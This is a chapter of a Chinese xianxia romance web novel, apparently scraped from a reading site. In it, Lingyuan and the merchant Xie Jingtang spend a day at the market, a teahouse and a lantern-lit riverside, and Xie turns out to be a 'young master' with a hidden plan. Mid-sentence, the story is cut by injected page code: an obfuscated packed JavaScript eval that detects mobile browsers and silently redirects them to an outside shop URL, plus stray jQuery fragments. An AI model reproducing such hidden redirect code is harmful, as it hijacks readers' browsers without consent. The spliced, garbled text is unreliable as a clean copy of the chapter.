两人出了外门,沿着山道一直向外走,到了门禁处,灵远脚步微顿,放轻了呼吸。
值守弟子正百无聊赖地转着令牌,目光从他们身上扫过,又收了回去,什么也没说。
看来剑阁有足够的自信她逃不掉,允许她在山门附近活动,灵远说不清该庆幸还是该憋闷,唇瓣抿了抿。
出了宗门,眼前豁然开朗。一条宽阔的青石路蜿蜒而下,两旁是成片的屋舍商铺,卖杂货的,卖布匹的、卖胭脂水粉的......热热闹闹,叫卖声此起彼伏。
灵远走在人群里,时不时东张西望,谢惊棠不紧不慢地跟在她身后,目光落在她毛茸茸的发顶上。
“姐姐,买枝花吧!早上刚摘的,可香了!”一个挽着花篮的小女孩从路边窜出来,拦在灵远面前。
灵远还没开口,小女孩又往前凑了凑,脆生生夸道:“姐姐这么好看,戴上花一定更好看!买一枝吧,只要两个铜板!”
灵远翻找储物袋,摸了半天也只掏出一块灵石,有些尴尬道:“......我没有铜钱。”
小女孩看到灵石,眼睛倏地一亮,连忙朝后招了招手:“二丫!小花!快来!这里有个姐姐要买花!”
话音才落,巷子里又窜出三四个小女孩,个个挎着竹篮,呼啦啦把灵远团团围住。
“姐姐买我的!我的月季最新鲜!”
“买我的买我的!我的茉莉可香了!”
“姐姐姐姐,我的花能香一整天!”
灵远被淹没在“姐姐姐姐”的浪潮里,进也不是退也不是,谢惊棠就站在一旁,含笑看着她,半点没有解围的意思。
直到她投来一个求救的眼神,他才轻笑出声,拨开女孩们走到她身旁,从竹篮拈起一枝含苞待放的栀子。
“只要一朵。”他温声开口,将两枚铜板放进小女孩掌心。
他的表情明明煦如春风,那几个孩子却像被什么无形的气场震慑住,脸上雀跃一收,四散着跑远了。
灵远松了口气,正要道谢,谢惊棠已微俯下身,将栀子花别在她发间。
栀子清幽的香气钻进鼻尖,另有一股淡淡的兰香从他身上传来,辽远空旷,像一阵穿过空谷的风。
灵远下意识抬眼,撞进他专注的眉眼,长长的睫毛半掩着瞳仁,里面有一种动人的温柔。
“这样正好。”他轻声说。
香气如丝如缕,紧紧缠在一起,让她微有些恍惚,谢惊棠已经退开,神色自若地走出几步。
“走吧,我们继续逛逛。”
灵远取下了发间的鲜花,顿了顿,还是将它攥在手中,提步跟上,谢惊棠微侧过身等她,日光洒落在他脸上,温润的像一幅画。
真是奇怪......灵远心想,明明只是萍水相逢。
两人走了一阵,谢惊棠在一家酒楼前停下:“这家酒楼的灵茶不错,要不要进去坐坐?”
灵远点点头,跟着他上了二楼雅间,刚落座,茶便端了上来。
白瓷盏里茶汤清透,浮着几朵半开的茉莉,花香混着茶香袅袅扑来,她端起饮了一口,口感温润,一丝若有若无的回甘萦绕在舌尖。
很快,小二端来了各式点心,桂花糕、芝麻糖、红豆酥饼......每一样都精巧细致,满满当当摆了一桌子。
“不知你偏爱何种口味,便让店家各样都上了一些。”谢惊棠温声说,“尝尝合不合心意。”
灵远夹起块桂花糕尝了一口,糕体软糯,口感清甜,她又尝了块酥饼,咬下去“咔嚓”一声,满口生香,绵密的内馅淌出,甜得恰到好处,她不自觉地眯起眼,像只吃饱了的猫。
她又夹起一块绿豆糕,忽然意识到什么,抬眸望去,对上谢惊棠含笑的目光,那双潋滟的眼眸注视着她,不知已经看了多久。
灵远动作一顿,忽然有些不好意思,放下筷子,端起茶盏抿了一口,借杯沿挡住自己的脸。
谢惊棠见状,也提起筷子慢条斯理地吃起来,他眼眸微垂,咀嚼时几乎没有声响,明明是在吃东西,却像做着什么赏心悦目的事。
灵远心里冒出个念头:这人真是体贴得不动声色,难怪生意做得好,这样的人物,看起来不像是天阙剑阁的人......
她正想着,谢惊棠忽然抬眸,勾唇道:“仙子在看什么?”
灵远这才察觉自己盯着他太久了,忙低头去看碗里的绿豆糕。
两人安静地用着点心,窗外的市井喧闹仿佛成了柔和的背景音。
灵远心里念头转了一圈又一圈,斟酌了许久,还是开口:“谢掌柜,我想请你帮个忙。”
谢惊棠沉静地望过来。
她慢慢说:“我想购置一件能够隐藏气息的法宝,若是你有渠道,劳烦帮我留意一二。”
她虽有离开剑阁的打算,但一直没找到什么好的办法,只能走一步看一步......
谢惊棠没有多问,只是温和地点了点头:“我会替仙子留意,过几日便去相熟的商铺问问,若有消息,第一时间给你传讯。”
灵远垂下眼,手指在茶盏边缘轻轻摩挲。
她小声道:“谢谢你。”
他也放轻了声音:“仙子不必客气,这只是件小事。”
茶香袅袅,氤氲在两人之间,灵远觉得气氛有种说不清的感觉,侧头看向窗外。
谢惊棠适时开口:“仙子想不想尝尝这里的果酒?度数很低,口感醇厚。”
酒......她已经很久没喝酒了,修了无情道后,便彻底失去了口腹之欲,吃什么都是一个味道。
心头泛起一种久远的怀念,她低应:“好。”
果酒小小的一壶,酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585602|205240||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
液是淡淡的琥珀色,倾入白瓷杯中,像一块融化的蜜。
灵远浅饮一口,酸甜的梅子裹着酒香,顺着喉咙滑下,胃里泛起暖意。莫名的感慨被酒水一浇,越发浓烈了,她又喝了一口,脸颊慢慢泛起一层薄红。
......
不知不觉间,夜幕悄然低垂,灯笼一盏接一盏亮起,暖黄的光连成一片,将长街照得灯火通明。
两人走出酒楼,顺着临河的长街前行,晚风带着水汽拂面,带着清凉和湿润。
灵远脚步微微发飘,眼神也比平日涣散了几分。
迎面是一群提着花灯的游人,笑闹着从身旁经过,谢惊棠虚环着她的肩,将她往内带了带,靠近的刹那,那股清浅的香气又萦绕上来,待人群远去,他便收回了手。
街边传来阵阵喝彩,人群围着个耍火棍的艺人。那人将火把舞得虎虎生风,赤金火焰腾空扭成两条金蛇,缠绕盘旋,最后轰然炸开,化作漫天流光。
灵远驻足望去,火光映在她眼底,浮起细碎的涟漪,她仰着脸看了一会儿,迷迷糊糊冒出一句:“我也会喷火。”
这是什么傻话?谢惊棠失笑,侧头去看她,只一眼,笑意便凝在了唇边。她的眸里盛着金焰,又漾着雾湛湛的水汽,明光与氤氲交织,像举世难寻的宝石,光华流转,盛过他平生所见的一切。
他忽然怔住了。
河岸驶来一艘画舫,满船彩灯倒映在水中,碎成粼粼金波,船上琴娘轻拨琴弦,琴音缥缥缈缈,悠悠地没入心底。
那壶名为醉生梦的酒,他一口也没有喝,可此刻心神摇曳,好像已然沉醉,醉到原本缜密的谋划,也稀落地飘散在风中。
夜更深了,行人渐渐散去,灯笼一盏盏熄灭,最后亮着的几盏在风中轻摇,把两人的影子拉得又细又长。
灵远酒意散了几分,凉风一吹,神思清明了些,她看了眼天色,轻声道:“我要回去了。”
谢惊棠沉默了一息,轻应:“我送你吧。”
两人沿着来时的路往回走,夜风吹得衣袂轻轻飘动,偶尔交叠在一起,又悄然分开。
到了问道峰脚下,灵远说:“到了。”
谢惊棠站在原地,目送她转身离去,纤细身影一点点没入山林,像一瓣被风吹远的梨花。
他站了许久,才收回视线,独自折返。
长街上早已经空空荡荡,只有偶尔几间铺子还亮着微弱的灯火。
来到一家不起眼的店铺前,推开屋门,一名中年男子立刻起身迎上,恭敬道:“少主。”
那人捧出一大摞册子,低声禀告:“按您的吩咐,近二十年来,仙盟与凤族在碧霄阁所有的的大宗采购,都在这里了。”
谢惊棠垂眸看着账册。
指尖划过封皮,他没有翻开。
“明日再说吧。”